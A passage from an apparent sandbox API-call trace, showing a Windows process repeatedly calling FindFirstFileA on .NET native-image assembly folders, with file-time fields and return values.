ftLastWriteTime.dwLowDateTime=0xe5e0ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.291] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Runtime.Seri#\\8ad0e1382ab6565741bbb64b965f2748\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c652e62, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe5e0ea0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe5e0ea0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.297] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee902dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe607000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe607000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.304] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Security\\821d4406efa3556465e6244fae26b536\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ee902dd, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe607000, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe607000, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.310] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd544cedc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe62d160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe62d160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.318] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel\\ac74a0642981011a441823a762bfb3d8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd544cedc, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe62d160, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe62d160, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.339] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1afa7b43, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe6532c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe6532c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.346] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceModel#\\bde9665f643d6e82b36b401d38f07fc8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1afa7b43, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe679420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe679420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.352] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafead730, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe679420, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe679420, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.357] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ServiceProce#\\df4cc33bfe326b259eeef086451a2528\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xafead730, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe69f580, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe69f580, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.408] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x237300dc, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe7119a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe7119a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.415] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Speech\\0dc049d2993f3d0e2651581533093e17\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x237300dc, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe7119a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe7119a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.420] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a585eb4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe737b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe737b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.425] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Transactions\\051655963f24f9ade08486084c570086\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9a5ac014, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe737b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe737b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.430] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523fc52, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe737b00, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe737b00, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.437] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web\\ea5a0e7af3956d40caeffaab3bb8b753\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa523fc52, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe75dc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe75dc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.442] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b255408, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe75dc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe75dc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.447] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Abstract#\\e66285eb011e4864314f3e4e4d6d8e40\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b255408, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe75dc60, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe75dc60, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.454] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2493075d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe783dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe783dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.461] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\98acb62493655ab4e5cad815e8df664d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24cc2864, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe783dc0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe783dc0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.467] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.DynamicD#\\bef47cfaf8928e35b99d8deb0eeb6b08\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2493075d, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe7a9f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe7a9f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.475] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25458e92, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe7a9f20, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe7a9f20, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.482] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity\\d3aaf07a1d6356d9edf7c3c9f4b7dd0d\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25458e92, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe7d0080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe7d0080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.489] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25abe9be, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe7d0080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe7d0080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.496] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Entity.D#\\86fd874752b7cca432941e9f482c3590\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x25abe9be, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe7d0080, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe7d0080, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.503] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca49194, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe7f61e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe7f61e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.511] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\47da05ff5ddd7d25ab9df88e6d79bb39\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26a378da, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe7f61e0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe7f61e0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.518] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Extensio#\\e2d043bbce0d8d303dadd068037c3ffb\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ca49194, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe81c340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe81c340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.525] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28dec31c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe81c340, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe81c340, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.532] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Mobile\\5ea81699d36a1938a0ff618380506f11\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28dec31c, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe8424a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe8424a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.537] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf5741df, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe8424a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe8424a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.543] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.RegularE#\\fc4fb8a45f4e2115c1290af5ffe5ace0\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf5741df, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe8424a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe8424a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.548] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241c0290, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe868600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe868600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.554] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Routing\\b9977dd97ed7006f1d7968495c594bc5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241c0290, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xe868600, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe868600, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.558] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cbb143, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe88e760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe88e760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.563] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Web.Services\\2f157d250a738f7a6074e0f29b298998\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6cbb143, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe88e760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe88e760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0243.568] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c1b63b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe88e760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe88e760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0243.574] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Forms\\6c352ff9e3603b0e69d969ff7e7632f5\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7c1b63b9, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe88e760, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xe88e760, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.582] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29405b87, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf23a0c0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf23a0c0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.645] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Windows.Pres#\\93ee0d8b03d20f6b2d9875add13e23e8\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x29405b87, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0xf2d2640, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf2d2640, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549810 [0244.653] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\*", lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbca59307, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xf2f87a0, ftLastAccessTime.dwHighDateTime=0x1d5c25a, ftLastWriteTime.dwLowDateTime=0xf2f87a0, ftLastWriteTime.dwHighDateTime=0x1d5c25a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x36000234, cFileName=".", cAlternateFileName="")) returned 0x549710 [0244.661] FindFirstFileA (in: lpFileName="C:\\\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Workflow.Act#\\a53a2767e448aef90b345af1339d4c9a\\*", lpFindFileData=0x4aaa20 | out: lpFindFileData=0x4aaa20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbca59307, ftCreationTime.dwHighDateTime=0x1cb892f, 